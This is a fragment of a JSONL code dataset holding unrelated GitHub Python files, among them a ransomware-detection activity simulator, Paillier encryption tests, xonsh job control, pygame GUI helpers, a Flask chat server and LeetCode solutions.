True\n\tdisconnect()\n\tsys.exit(0)\n","repo_name":"jdunn-git/Pub-Sub-Load-Balancing","sub_path":"assignment2/broker.py","file_name":"broker.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39522744692","text":"from math import ceil\nimport time\nimport random\nfrom encryption import populate_file\n\n\ndef write_net_data(n_filename, url_list):\n    n_outfile = open(n_filename, 'a+')\n    \n    url = random.choice(url_list)\n    \n    n_outfile.write(url)\n    n_outfile.close()\n\n\n\n\n\n\nif __name__ == '__main__':\n    switch_time = 0\n\n    run_default = (input('Run default? (y/n) ') == 'y')\n    if run_default:\n        d_filename = 'encryption/mem_data.txt'\n        n_filename = 'network/net_data.txt'\n        n_good_filepath = 'network/good_urls.txt'\n        n_bad_filepath = 'network/bad_urls.txt'\n        \n    else:\n        d_filename = input(\"Data Filename: \").strip()\n        n_filename = input(\"Network output filename: \").strip()\n        n_good_filepath = input(\"Good network file path: \").strip()\n        n_bad_filepath = input(\"Bad network file path: \").strip()\n    \n    time_to_run = float(input(\"time to run: \").strip())*60\n    attack_switch = (input('Attack switch? (y/n) ').strip() == 'y')\n    if(attack_switch):\n        switch_time = float(input(\"switch time: \").strip())*60\n        \n\n    url_list = open(n_good_filepath, 'r+').readlines()\n    bad_file = open(n_bad_filepath, 'r+')\n\n    attack = False\n    start = time.time()\n\n    while(time.time()-start < time_to_run):\n        print(f\"\\rrunning: {ceil(((time.time()-start)/time_to_run)*100)}%\" , end=' ')\n        \n        if(not attack and attack_switch and time.time() - start > switch_time):\n            print(f\"\\rSwitching to attack at\", time.strftime(\"%H:%M:%S\",time.localtime()), \"\\t\\t\\t\")\n            attack = True\n            bad_urls = bad_file.readlines()\n            write_net_data(n_filename, bad_urls)\n            url_list.extend(bad_urls)\n        \n        populate_file.write_file(attack=attack, filename=d_filename)\n        write_net_data(n_filename,url_list)\n\n    print(\"Complete!\")","repo_name":"Scottie-Fischer/ransomwaredetection_v2","sub_path":"activity_sim.py","file_name":"activity_sim.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"13588422412","text":"import argparse\nimport os\nimport json\nimport SimpleITK as sitk\nfrom tqdm import tqdm\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\"--json_path\")\n    parser.add_argument(\"--output_json_path\")\n    parser.add_argument(\"--source_key\")\n    parser.add_argument(\"--output_key\")\n    parser.add_argument(\"--condition\")\n\n    args = parser.parse_args()\n\n    df = json.load(open(args.json_path))\n\n    condition_key, condition_value = args.condition.split(\"==\")\n\n    for key in tqdm(df):\n        if args.source_key in df[key]:\n            if args.output_key not in df[key]:\n                if condition_key in df[key]:\n                    if str(df[key][condition_key]) == condition_value:\n                        path = df[key][args.source_key]\n                        image = sitk.ReadImage(path) * 0\n                        dir = os.sep.join(os.path.split(path)[:-1])\n                        output_path = f\"{dir}/mask_filled.nii.gz\"\n                        sitk.WriteImage(image, output_path)\n                        df[key][args.output_key] = output_path\n\n    with open(args.output_json_path, \"w\") as o:\n        json.dump(df, o, indent=2)\n","repo_name":"CCIG-Champalimaud/adell-mri","sub_path":"utils/fill_with_condition.py","file_name":"fill_with_condition.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"18921307067","text":"import os\nimport requests\nimport time\n\n#download method\ndef download_file(url, filename):\n    ''' Downloads file from the url and save it as filename '''\n    # check if file already exists\n    if not os.path.isfile(filename):\n        print('Downloading File')\n        response = requests.get(url)\n        # Check if the response is ok (200)\n        if response.status_code == 200:\n            # Open file and write the content\n            with open(filename, 'wb') as file:\n                # A chunk of 128 bytes\n                for chunk in response:\n                    file.write(chunk)\n                time.sleep(1)\n    else:\n        print('File exists')","repo_name":"PhilMcDaniel/rocket-league-stats","sub_path":"personal-python/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"70742599733","text":"from fastapi.testclient import TestClient\n\nfrom src.schema import StatusMessage\n\nexpected_message = StatusMessage(\n    power=600,\n    time=60,\n    state=\"off\",\n)\n\n\ndef test_status_off(clear_state):\n    from src.main import app\n\n    client = TestClient(app)\n    response = client.get(\"/status\")\n    print(response.json())\n    assert response.status_code == 200\n    assert response.json() == dict(expected_message)\n","repo_name":"mszpulak/roche","sub_path":"src/tests/test_status.py","file_name":"test_status.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25066230003","text":"import unittest\nimport numpy as np\nimport time\n\nimport paillier\n\n\nclass PaiTestCase(unittest.TestCase):\n\n    def __init__(self, *args, **kwargs):\n        super(PaiTestCase, self).__init__(*args, **kwargs)\n        self.pai = paillier.Paillier(2048, 10)\n        pk, vk = self.pai.gen_key_generate_key_pair()\n        self.pk = pk\n        self.vk = vk\n        self.row = 10\n        self.col = 10\n        self.value = np.random.randint(-100000, 100000, (self.row, self.col))\n        self.plain = np.random.randint(-100000, 100000, (self.row * self.col,))\n\n    def test_pai_batch_enc(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        self.assertEqual(cipher_text.shape[0], self.row*self.col)\n\n    def test_pai_batch_dec(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # decrypt self.value\n        decrypt_value = self.pai.batch_decrypt(cipher_text, self.pk, self.vk)\n        self.value = self.value.astype(np.str).flatten().tolist()\n        self.assertEqual(decrypt_value, self.value)\n\n    def test_pai_sum(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # encrypt sum\n        cipher_sum = self.pai.cipher_sum(cipher_text, self.pk)\n        decrypt_sum = self.pai.decrypt(cipher_sum, self.pk, self.vk)\n        self.assertEqual(decrypt_sum, np.sum(self.value).astype(np.str))\n\n    def test_pai_batch_mul(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # encrypt self.value * plain\n        cipher_mul_plain = self.pai.batch_mul(cipher_text, self.plain, self.pk)\n        # decrypt self.value * plain\n        decrypt_mul_plain = self.pai.batch_decrypt(cipher_mul_plain, self.pk, self.vk)\n        for i in range(self.row):\n            for j in range(self.col):\n                self.assertEqual(decrypt_mul_plain[i*self.row+j], str(self.value[i][j]*self.plain[i*self.row+j]))\n\n\nclass PaiTimeTestCase(unittest.TestCase):\n\n    def __init__(self, *args, **kwargs):\n        super(PaiTimeTestCase, self).__init__(*args, **kwargs)\n        self.pai = paillier.Paillier(2048, 32)\n        pk, vk = self.pai.gen_key_generate_key_pair()\n        self.pk = pk\n        self.vk = vk\n        self.row = 100\n        self.col = 100\n        self.value = np.random.randint(-100000, 100000, (self.row, self.col))\n        self.plain = np.random.randint(-100000, 100000, (self.row * self.col,))\n\n    def setUp(self):\n        self.startTime = time.time()\n\n    def tearDown(self):\n        t = time.time() - self.startTime\n        print('%s: %.3f' % (self.id(), t))\n\n    def test_pai_batch_enc_time(self):\n        self.pai.batch_encrypt(self.value, self.pk)\n\n    def test_pai_batch_dec(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # decrypt self.value\n        self.startTime = time.time()\n        self.pai.batch_decrypt(cipher_text, self.pk, self.vk)\n\n    def test_pai_sum(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # encrypt sum\n        self.startTime = time.time()\n        self.pai.cipher_sum(cipher_text, self.pk)\n\n    def test_pai_batch_mul(self):\n        # encrypt\n        cipher_text = self.pai.batch_encrypt(self.value, self.pk)\n        # encrypt self.value * plain\n        self.startTime = time.time()\n        self.pai.batch_mul(cipher_text, self.plain, self.pk)\n\n\ndef pai_suite():\n    suite = unittest.TestSuite()\n    suite.addTest(PaiTestCase(\"test_pai_batch_enc\"))\n    suite.addTest(PaiTestCase(\"test_pai_batch_dec\"))\n    suite.addTest(PaiTestCase(\"test_pai_sum\"))\n    suite.addTest(PaiTestCase(\"test_pai_batch_mul\"))\n    return suite\n\n\ndef pai_time_suite():\n    suite = unittest.TestSuite()\n    suite.addTest(PaiTimeTestCase(\"test_pai_batch_enc_time\"))\n    suite.addTest(PaiTimeTestCase(\"test_pai_batch_dec\"))\n    suite.addTest(PaiTimeTestCase(\"test_pai_sum\"))\n    suite.addTest(PaiTimeTestCase(\"test_pai_batch_mul\"))\n    return suite\n\n\nif __name__ == '__main__':\n    runner = unittest.TextTestRunner(verbosity=0)\n    runner.run(pai_suite())\n    runner.run(pai_time_suite())\n\n","repo_name":"FancyXun/federated-learning-module","sub_path":"libpts/python/api/paillier_test.py","file_name":"paillier_test.py","file_ext":"py","file_size_in_byte":4161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"3971761275","text":"import numpy as np\nimport scipy.linalg as la\n\n### Calculates block cholesky decomposition\n\n\ndef block_chol(L,x):\n    B = x[:-1]\n    d = x[-1]\n    tri = la.solve_triangular(L,B,check_finite = False, lower = True)\n    return(np.block([\n        [L, np.zeros((len(B),1))],\n        [tri,np.sqrt(d - np.dot(tri,tri))]\n    ]))\n\n\n# Calculates nearest semi-positive definite matrix w.r.t. the Frobenius norm (algorithm based on Nick Higham's\n# \"Computing the nearest correlation matrix - a problem from finance\"\n\n\ndef nearestSPD(A):\n    B = (A + A.T) / 2\n    _, s, V = la.svd(B)\n\n    H = np.dot(V.T, np.dot(np.diag(s), V))\n\n    A2 = (B + H) / 2\n    A3 = (A2 + A2.T) / 2\n\n    if isPD(A3):\n        return A3\n\n    spacing = np.spacing(la.norm(A))\n\n    I = np.eye(A.shape[0])\n    k = 1\n    while not isPD(A3):\n        mineig = np.min(np.real(la.eigvals(A3)))\n        A3 += I * (-mineig * k ** 2 + spacing)\n        k += 1\n    if la.norm(A - A3, ord='fro') / la.norm(A3, ord='fro') > 10:\n        print(\"Matrix failed to be positive definite, distance in Frobenius norm: \",\n              la.norm(A - A3, ord='fro') / la.norm(A3, ord='fro'))\n    return A3\n\n\n### Checks if input matrix is positive definite\n\n\ndef isPD(B):\n    try:\n        _ = la.cholesky(B)\n        return True\n    except la.LinAlgError:\n        return False\n","repo_name":"MatthewAlexanderFisher/LocalABC","sub_path":"LocalABC/util/lina.py","file_name":"lina.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"34423077583","text":"# Framework -> Flask\nfrom flask import Flask, render_template\nfrom flask_socketio import SocketIO, send\n\napp = Flask(__name__)\nsocketio = SocketIO(app, cors_allowed_origins=\"*\")\n\n# funcionalidade de enviar mensagens\n@socketio.on(\"message\")\ndef gerenciar_mensagem(mensagem):\n    send(mensagem, broadcast=True)\n\n\n# criar a nossa primeira pagina = 1ª rota\n@app.route(\"/\") #decorator - atribui uma funcionalidade para quem está embaixo dele, a função\ndef homepage():\n    return render_template(\"homepage.html\")\n\n#roda o nosso aplicativo\nsocketio.run(app, host=\"192.168.100.2\")","repo_name":"rigsjf/rep_jornada_python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"36785995184","text":"import pygame, math\n\n\ndef borderOutside(surface, color, weight, x, y, w, h):\n  pygame.draw.rect( surface, color, [(x-weight, y-weight), (w+weight, weight)])\n  pygame.draw.rect( surface, color, [(x+w, y-weight), (weight, h+weight)])\n  pygame.draw.rect( surface, color, [(x, y+h), (w+weight, weight)])\n  pygame.draw.rect( surface, color, [(x-weight, y), (weight, h+weight)])\n\n\ndef pillOutside(surface, color, weight, x, y, w, h):\n  ax = x-weight\n  ay = y-weight\n  r = h+2*weight\n  lx = ax+(h+1)/2-weight\n  lw = w+2*weight-h\n  l2y = y+h+1-weight\n  a2x = ax+lw-2*weight\n\n  pygame.draw.rect( surface, color, [(lx, ay), (lw, weight)])\n  pygame.draw.rect( surface, color, [(x+w, y-weight), (weight, h+weight)])\n  pygame.draw.rect( surface, color, [(lx, l2y), (lw, weight)])\n  pygame.draw.rect( surface, color, [(x-weight, y), (weight, h+weight)])\n  pygame.draw.arc(surface, color, [(ax,ay),(r,r)], 0.5*math.pi, 1.5*math.pi, weight)\n  pygame.draw.arc(surface, color, [(a2x,ay),(r,r)], 1.5*math.pi, 0.5*math.pi, weight)\n\n\ndef borderOutsideOfRect(surface, color, weight, rect):\n  borderOutside(surface, color, weight, rect.left, rect.top, rect.width, rect.height)\n\n\ndef textSurface( text, font, color, loc, surf, justify = \"center\", upsideDown=False):\n  t = font.render( text, True, color )\n  tr = t.get_rect()\n  if upsideDown:\n    t = pygame.transform.flip(t, False, True)\n\n  setattr( tr, justify, loc )\n  surf.blit( t, tr )\n  return tr\n\n\ndef textSurfaceBox( self ):\n  return pygame.draw.rect(\n    self.worldsurf, self.message_box_color, self.gamesurf_msg_rect, 0 )\n\n\ndef textInput(world, txt, x, y, w, h,\n  focused=False, withTicks=True,\n  clr1=(120,200,50), clr2 = (120,200,40)):\n\n  srfc = world.worldsurf\n  borderOutside(srfc, clr1, 2, x, y, w, h)\n\n  if focused:\n    pygame.draw.rect( srfc, clr1, [(x, y), (w, h)]) # button fill\n  textSurface(txt, world.scores_font, (255,255,255), (x + w // 2, y + h // 2), srfc, \"center\")\n\n\ndef button(world, txt, x, y, w, h,\n  focused=False, withTicks=True,\n  clr1=(120,200,50), clr2 = (120,200,40)):\n\n  srfc = world.worldsurf\n  borderOutside(srfc, clr1, 2, x, y, w, h)\n\n  if focused:\n    pygame.draw.rect( srfc, clr1, [(x, y), (w, h)]) # button fill\n\n    clr2 = world.bg_color # text and arrow color\n\n    # arrows\n    tx, ty, t2x = x-2, y+(h-20)/2, x+w+2\n    if withTicks:\n      pygame.draw.polygon(srfc, clr2, [(tx, ty), (tx+14, ty+10), (tx,ty+20)])\n      pygame.draw.polygon(srfc, clr2, [(t2x, ty), (t2x-14, ty+10), (t2x,ty+20)])\n\n  textSurface(txt, world.scores_font, clr2, (x+w//2, y+h//2), srfc, \"center\")\n\n\ndef verticalTab(world, txt, x, y, w, h, focused=False,\n    clrFocused = (120,200,50),\n    clrBlurred = (60,140,10),\n    clrFocusedText = None,\n    clrBlurredText = (60,140,10)\n):\n\n  if clrFocusedText == None:\n    clrFocusedText = world.bg_color\n  if clrBlurredText == None:\n    clrBlurredText = clrBlurred\n\n  srfc = world.worldsurf\n  marginBottom = 1\n  if focused:\n    h += 4\n    w += 10\n    y -= 2\n    x -= 6\n    marginBottom = -3\n    pygame.draw.rect( srfc, clrFocused, [(x, y), (w, h)]) # button fill\n\n    clrTxt = clrFocusedText # text and arrow color\n\n    # arrows\n    ty = y+(h-20)/2\n    pygame.draw.polygon(srfc, clrBlurred,\n      [(x-2, ty), (x+14, ty+10), (x-2,ty+20)])\n\n  else:\n    # pygame.draw.rect( srfc, clr1, [(x, y), (w, 2)])\n    # pygame.draw.rect( srfc, clrBlurred, [(x+w, y), (1, h)])\n    pygame.draw.rect( srfc, clrBlurred, [(x, y+h), (w+1, 1)])\n    clrTxt = clrBlurredText\n\n  textSurface(txt, world.scores_font, clrTxt, (x+w//2, y+h//2), srfc, \"center\")\n\n  return y+h+marginBottom\n\n\ndef simpleText(world, text, x=-1, y=-1, color=(120,200,50), srf=None, alignment=\"center\"):\n  if srf == None:\n    srf = world.worldsurf\n\n  return textSurface(text, world.scores_font, color, (x, y), srf, alignment)\n\n\ndef infoText(world, text, x=-1, y=-1, color=(120,200,50), srf = None):\n  if x == -1 or y == -1:\n    rect = world.worldsurf_rect\n    if x == -1:\n      x = int(rect.width/4)*3 + 15\n    if y == -1:\n      y = int(rect.height/2)\n\n  return simpleText(world, text, x, y, color, srf, \"center\")\n\n\ndef square( self, surface, left, top, color_id , alpha = 255, gray = False):\n  lvl = self.level % len( self.NES_colors )\n  if self.color_mode == \"REMIX\":\n    block = self.blocks[lvl][self.block_color_type[color_id - 1]]\n  else:\n    block = self.blocks[lvl][color_id] if not gray else self.gray_block\n\n  block.set_alpha(alpha)\n  surface.blit( block, ( left, top ) )\n\n\ndef blocks( self, obj, surf, rect, x = 0, y = 0, resetX = False, alpha = 255, gray = False):\n  ix = x\n  iy = y\n  for i in obj:\n    for j in i:\n      if j != 0:\n        square(self, surf, ix, iy, color_id = j, alpha = alpha, gray = gray )\n      ix += self.side\n    if resetX:\n      ix = 0\n    else:\n      ix = x\n    iy += self.side\n\n  if self.inverted:\n    self.worldsurf.blit( pygame.transform.flip(surf, False, True), rect)\n  else:\n    self.worldsurf.blit( surf, rect )\n\n\n#draw the underlying game board the current zoid interacts with\ndef board( self, alpha = 255):\n  echo = (\n    (self.board_echo_placed and self.are_counter > 0) or\n    (self.board_echo_lc and self.lc_counter > 0)\n  )\n\n  if self.visible_board or echo:\n\n    if not self.board_mask or not self.mask_toggle:\n      if self.dimtris and not echo:\n        alpha = self.dimtris_alphas[min(self.level, len(self.dimtris_alphas)-1)]\n\n      blocks(\n        self, self.board, self.gamesurf, self.gamesurf_rect,\n        resetX = True, alpha = alpha, gray = self.gray_board\n      )\n\n    else:\n      self.gamesurf.fill( self.mask_color )\n      self.worldsurf.blit( self.gamesurf , self.gamesurf_rect)\n","repo_name":"jack13berry/metatris","sub_path":"py-metatris/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26128371292","text":"from Board import Board\nfrom pathlib import Path\nfrom abc import ABC, abstractmethod\n\nclass SearchAlgo(ABC):\n    def __init__(self, board: Board, max_depth: int, index: int):\n        self.board = board\n        self.max_depth = max_depth\n\n        # File creation\n        Path(\"Outputs\").mkdir(parents=True, exist_ok=True)\n\n        algo_name = type(self).__name__.lower()\n\n        # Search file\n        file_name_dfs_search = \"Outputs/\" + str(index) + \"_\" + algo_name + \"_search.txt\"\n        self.search_file = open(file_name_dfs_search, \"w+\")\n\n        # Solution file\n        file_name_dfs_solution = \"Outputs/\" + str(index) + \"_\" + algo_name + \"_solution.txt\"\n        self.solution_file = open(file_name_dfs_solution, \"w+\")\n\n    def populate_solution_file(self, board: Board):\n        solution_list = []\n        key_value_pair = {board.getPosition(board.touch_idx): board.puzzle_config}\n        solution_list.append(key_value_pair)\n\n        while not board.isRoot():\n            board = board.parent\n            key_value_pair = {board.getPosition(board.touch_idx): board.puzzle_config}\n            solution_list.append(key_value_pair)\n\n        solution_list.reverse()\n\n        first_flag = True\n        for pair in solution_list:\n            position = list(pair.keys())[0]\n            config = list(pair.values())[0]\n\n            if first_flag:\n                self.solution_file.write(\"0 \" + config + \"\\n\")\n                first_flag = False\n            else:\n                self.solution_file.write(str(position) + \" \" + config + \"\\n\")\n\n        self.solution_file.close()\n\n    @abstractmethod\n    def search(self):\n        pass\n\n    @abstractmethod\n    def update_and_sort_open_list(self, b:Board, open_list):\n        pass\n\n    def getSearchOutput(self, g, h, board):\n        return \"{}\\t{}\\t{}\\t{}\".format(int(g+h), g, h, board)\n","repo_name":"tarekait1996/IndonesianDotPuzzle","sub_path":"SearchAlgo.py","file_name":"SearchAlgo.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73030671733","text":"\"\"\"\nJob control for the xonsh shell.\n\"\"\"\nimport os\nimport sys\nimport time\nimport signal\nimport builtins\nfrom subprocess import TimeoutExpired\n\nfrom xonsh.tools import ON_WINDOWS\n\ntry:\n    _shell_tty = sys.stderr.fileno()\nexcept OSError:\n    _shell_tty = None\n\n\nif ON_WINDOWS:\n    def _continue(obj):\n        return None\n\n\n    def _kill(obj):\n        return obj.kill()\n\n\n    def ignore_sigtstp():\n        pass\n\n\n    def _set_pgrp(info):\n        pass\n\n    def wait_for_active_job(signal_to_send=None):\n        \"\"\"\n        Wait for the active job to finish, to be killed by SIGINT, or to be\n        suspended by ctrl-z.\n        \"\"\"\n        _clear_dead_jobs()\n        act = builtins.__xonsh_active_job__\n        if act is None:\n            return\n        job = builtins.__xonsh_all_jobs__[act]\n        obj = job['obj']\n        if job['bg']:\n            return\n        while obj.returncode is None:\n            try:\n                obj.wait(0.01)\n            except TimeoutExpired:\n                pass\n            except KeyboardInterrupt:\n                obj.kill()\n        if obj.poll() is not None:\n            builtins.__xonsh_active_job__ = None\n\nelse:\n    def _continue(obj):\n        return signal.SIGCONT\n\n\n    def _kill(obj):\n        os.kill(obj.pid, signal.SIGKILL)\n\n\n    def ignore_sigtstp():\n        signal.signal(signal.SIGTSTP, signal.SIG_IGN)\n\n\n    def _set_pgrp(info):\n        try:\n            info['pgrp'] = os.getpgid(info['obj'].pid)\n        except ProcessLookupError:\n            pass\n\n\n    _shell_pgrp = os.getpgrp()\n\n    _block_when_giving = (signal.SIGTTOU, signal.SIGTTIN, signal.SIGTSTP)\n\n\n    def _give_terminal_to(pgid):\n        # over-simplified version of:\n        #    give_terminal_to from bash 4.3 source, jobs.c, line 4030\n        # this will give the terminal to the process group pgid\n        if _shell_tty is not None and os.isatty(_shell_tty):\n            oldmask = signal.pthread_sigmask(signal.SIG_BLOCK, _block_when_giving)\n            os.tcsetpgrp(_shell_tty, pgid)\n            signal.pthread_sigmask(signal.SIG_SETMASK, oldmask)\n\n\n    def wait_for_active_job(signal_to_send=None):\n        \"\"\"\n        Wait for the active job to finish, to be killed by SIGINT, or to be\n        suspended by ctrl-z.\n        \"\"\"\n        _clear_dead_jobs()\n        act = builtins.__xonsh_active_job__\n        if act is None:\n            return\n        job = builtins.__xonsh_all_jobs__[act]\n        obj = job['obj']\n        if job['bg']:\n            return\n        pgrp = job['pgrp']\n        obj.done = False\n\n        # give the terminal over to the fg process\n        _give_terminal_to(pgrp)\n        # if necessary, send the specified signal to this process\n        # (this hook  was added because vim, emacs, etc, seem to need to have\n        # the terminal when they receive SIGCONT from the \"fg\" command)\n        if signal_to_send is not None:\n            os.kill(obj.pid, signal_to_send)\n        _, s = os.waitpid(obj.pid, os.WUNTRACED)\n        if os.WIFSTOPPED(s):\n            obj.done = True\n            job['bg'] = True\n            job['status'] = 'stopped'\n            print()  # get a newline because ^Z will have been printed\n            print_one_job(act)\n        elif os.WIFSIGNALED(s):\n            print()  # get a newline because ^C will have been printed\n        if obj.poll() is not None:\n            builtins.__xonsh_active_job__ = None\n        _give_terminal_to(_shell_pgrp)  # give terminal back to the shell\n\n\ndef _clear_dead_jobs():\n    to_remove = set()\n    for num, job in builtins.__xonsh_all_jobs__.items():\n        obj = job['obj']\n        if obj.poll() is not None:\n            to_remove.add(num)\n    for i in to_remove:\n        del builtins.__xonsh_all_jobs__[i]\n        if builtins.__xonsh_active_job__ == i:\n            builtins.__xonsh_active_job__ = None\n    if builtins.__xonsh_active_job__ is None:\n        _reactivate_job()\n\n\ndef _reactivate_job():\n    if len(builtins.__xonsh_all_jobs__) == 0:\n        return\n    builtins.__xonsh_active_job__ = max(builtins.__xonsh_all_jobs__.items(),\n                                        key=lambda x: x[1]['started'])[0]\n\n\n\ndef print_one_job(num):\n    \"\"\"Print a line describing job number ``num``.\"\"\"\n    try:\n        job = builtins.__xonsh_all_jobs__[num]\n    except KeyError:\n        return\n    act = '*' if num == builtins.__xonsh_active_job__ else ' '\n    status = job['status']\n    cmd = [' '.join(i) if isinstance(i, list) else i for i in job['cmds']]\n    cmd = ' '.join(cmd)\n    pid = job['pids'][-1]\n    bg = ' &' if job['bg'] else ''\n    print('{}[{}] {}: {}{} ({})'.format(act, num, status, cmd, bg, pid))\n\n\ndef get_next_job_number():\n    \"\"\"Get the lowest available unique job number (for the next job created).\n    \"\"\"\n    _clear_dead_jobs()\n    i = 1\n    while i in builtins.__xonsh_all_jobs__:\n        i += 1\n    return i\n\n\ndef add_job(info):\n    \"\"\"\n    Add a new job to the jobs dictionary.\n    \"\"\"\n    info['started'] = time.time()\n    info['status'] = 'running'\n    _set_pgrp(info)\n    num = get_next_job_number()\n    builtins.__xonsh_all_jobs__[num] = info\n    builtins.__xonsh_active_job__ = num\n    if info['bg']:\n        print_one_job(num)\n\n\ndef _default_sigint_handler(num, frame):\n    raise KeyboardInterrupt\n\n\ndef kill_all_jobs():\n    \"\"\"\n    Send SIGKILL to all child processes (called when exiting xonsh).\n    \"\"\"\n    _clear_dead_jobs()\n    for job in builtins.__xonsh_all_jobs__.values():\n        _kill(job['obj'])\n\n\ndef jobs(args, stdin=None):\n    \"\"\"\n    xonsh command: jobs\n\n    Display a list of all current jobs.\n    \"\"\"\n    _clear_dead_jobs()\n    for j in sorted(builtins.__xonsh_all_jobs__):\n        print_one_job(j)\n    return None, None\n\n\ndef fg(args, stdin=None):\n    \"\"\"\n    xonsh command: fg\n\n    Bring the currently active job to the foreground, or, if a single number is\n    given as an argument, bring that job to the foreground.\n    \"\"\"\n    _clear_dead_jobs()\n    if len(args) == 0:\n        # start active job in foreground\n        act = builtins.__xonsh_active_job__\n        if act is None:\n            return '', 'Cannot bring nonexistent job to foreground.\\n'\n    elif len(args) == 1:\n        try:\n            act = int(args[0])\n        except ValueError:\n            return '', 'Invalid job: {}\\n'.format(args[0])\n        if act not in builtins.__xonsh_all_jobs__:\n            return '', 'Invalid job: {}\\n'.format(args[0])\n    else:\n        return '', 'fg expects 0 or 1 arguments, not {}\\n'.format(len(args))\n    builtins.__xonsh_active_job__ = act\n    job = builtins.__xonsh_all_jobs__[act]\n    job['bg'] = False\n    job['status'] = 'running'\n    print_one_job(act)\n    wait_for_active_job(_continue(job['obj']))\n\n\ndef bg(args, stdin=None):\n    \"\"\"\n    xonsh command: bg\n\n    Resume execution of the currently active job in the background, or, if a\n    single number is given as an argument, resume that job in the background.\n    \"\"\"\n    _clear_dead_jobs()\n    if len(args) == 0:\n        # start active job in foreground\n        act = builtins.__xonsh_active_job__\n        if act is None:\n            return '', 'Cannot send nonexistent job to background.\\n'\n    elif len(args) == 1:\n        try:\n            act = int(args[0])\n        except ValueError:\n            return '', 'Invalid job: {}\\n'.format(args[0])\n        if act not in builtins.__xonsh_all_jobs__:\n            return '', 'Invalid job: {}\\n'.format(args[0])\n    else:\n        return '', 'bg expects 0 or 1 arguments, not {}\\n'.format(len(args))\n    builtins.__xonsh_active_job__ = act\n    job = builtins.__xonsh_all_jobs__[act]\n    job['bg'] = True\n    job['status'] = 'running'\n    print_one_job(act)\n    wait_for_active_job(_continue(job['obj']))\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/donnemartin_gitsome/gitsome-master/xonsh/jobs.py","file_name":"jobs.py","file_ext":"py","file_size_in_byte":7661,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"70751729972","text":"class Solution:\n    def findRedundantConnection(self, edges: List[List[int]]) -> List[int]:\n        # union find\n        # if two nodes have the same parent, they are alr connected and the connection is redundant\n        \n        parent = [i for i in range(len(edges))]\n        degree = [1]*len(edges)\n        res=[]\n        \n        def find(p):\n            while p!=parent[p]:\n                p=parent[p]\n            return p\n        \n        def union(n1,n2):\n            p1,p2=find(n1),find(n2)\n            if p1==p2:\n                return 1\n            elif degree[p1]>degree[p2]:\n                degree[p1]+=degree[p2]\n                parent[p2]=p1\n            else:\n                degree[p2]+=degree[p1]\n                parent[p1]=p2\n            return 0\n        for n1, n2 in edges:\n            if union(n1-1,n2-1):\n                res=[n1,n2]\n        return res","repo_name":"HaojunYuan/MyLeetCode","sub_path":"0684-redundant-connection/0684-redundant-connection.py","file_name":"0684-redundant-connection.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18205624492","text":"class Solution:\n  def largestDivisibleSubset(self, nums: List[int]) -> List[int]:\n    n = len(nums)\n    ans = []\n    count = [1] * n\n    prevIndex = [-1] * n\n    maxCount = 0\n    index = -1\n\n    nums.sort()\n\n    for i, num in enumerate(nums):\n      for j in reversed(range(i)):\n        if num % nums[j] == 0 and count[i] < count[j] + 1:\n          count[i] = count[j] + 1\n          prevIndex[i] = j\n      if count[i] > maxCount:\n        maxCount = count[i]\n        index = i\n\n    while index != -1:\n      ans.append(nums[index])\n      index = prevIndex[index]\n\n    return ans\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/0368. Largest Divisible Subset/0368.py","file_name":"0368.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"}
